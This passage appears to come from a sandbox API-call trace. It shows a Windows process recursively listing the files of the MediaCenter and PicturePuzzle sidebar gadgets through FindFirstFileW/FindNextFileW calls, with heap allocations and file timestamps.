cFileName="main_background.png", cAlternateFileName="")) returned 1 [0208.422] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90fa721, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90fa721, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f27, dwReserved0=0x0, dwReserved1=0x0, cFileName="main_background.png", cAlternateFileName="")) returned 0 [0208.422] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0208.423] GetProcessHeap () returned 0x550000 [0208.423] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0208.423] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1cc85b8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0208.423] GetProcessHeap () returned 0x550000 [0208.423] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0208.423] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1cc85b8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0208.441] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1cc85b8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.441] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fbf39ab, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x3fbf39ab, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xecdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.js", cAlternateFileName="")) returned 1 [0208.441] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x71a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0208.441] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x71a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 0 [0208.441] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0208.442] GetProcessHeap () returned 0x550000 [0208.442] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0208.442] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8fefd96, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc8fefd96, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x294e, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.html", cAlternateFileName="")) returned 1 [0208.442] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9a59d04, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x9e9e7900, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0xe17d845, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCESidebarCtrl.dll", cAlternateFileName="")) returned 1 [0208.442] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5862, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0208.442] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5862, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 0 [0208.442] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0208.442] GetProcessHeap () returned 0x550000 [0208.442] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0208.442] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PicturePuzzle.Gadget", cAlternateFileName="PICTUR~1.GAD")) returned 1 [0208.442] GetProcessHeap () returned 0x550000 [0208.442] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0208.442] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0208.443] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.443] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b69cdc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b69cdc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x38816739, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7a53, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0208.443] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0208.443] GetProcessHeap () returned 0x550000 [0208.443] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0208.443] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0208.443] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.443] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0208.443] GetProcessHeap () returned 0x550000 [0208.443] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0208.443] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0208.461] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.461] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1172, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.css", cAlternateFileName="")) returned 1 [0208.461] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1454, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0208.461] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1454, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0 [0208.461] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0208.461] GetProcessHeap () returned 0x550000 [0208.461] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0208.461] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0208.461] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0208.462] GetProcessHeap () returned 0x550000 [0208.462] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0208.462] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0208.462] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.462] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.js", cAlternateFileName="")) returned 1 [0208.462] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x267e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0208.462] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x267e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 0 [0208.462] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0208.462] GetProcessHeap () returned 0x550000 [0208.462] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0208.462] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.html", cAlternateFileName="")) returned 1 [0208.463] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x156a, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0208.463] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x156a, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 0 [0208.463] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0208.463] GetProcessHeap () returned 0x550000 [0208.463] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0208.463] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x388629f5, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x388629f5, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x38888b53, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x255b, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0208.463] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x806605fc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806605fc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Images", cAlternateFileName="")) returned 1 [0208.463] GetProcessHeap () returned 0x550000 [0208.463] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0208.463] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x806605fc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806605fc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0208.477] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x806605fc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806605fc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.480] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38888b53, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x38888b53, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x38888b53, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb22, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.png", cAlternateFileName="")) returned 1 [0208.480] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8498f944, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8498f944, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x38888b53, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5323, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.png", cAlternateFileName="")) returned 1 [0208.480] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a4e015, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a4e015, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x388aecb1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.png", cAlternateFileName="")) returned 1 [0208.481] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a74172, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a74172, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x38947229, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6936, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.png", cAlternateFileName="")) returned 1 [0208.481] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849b5aa1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x849b5aa1, ftLastAccessTime.dwHighDateTime=0x1ca0403, 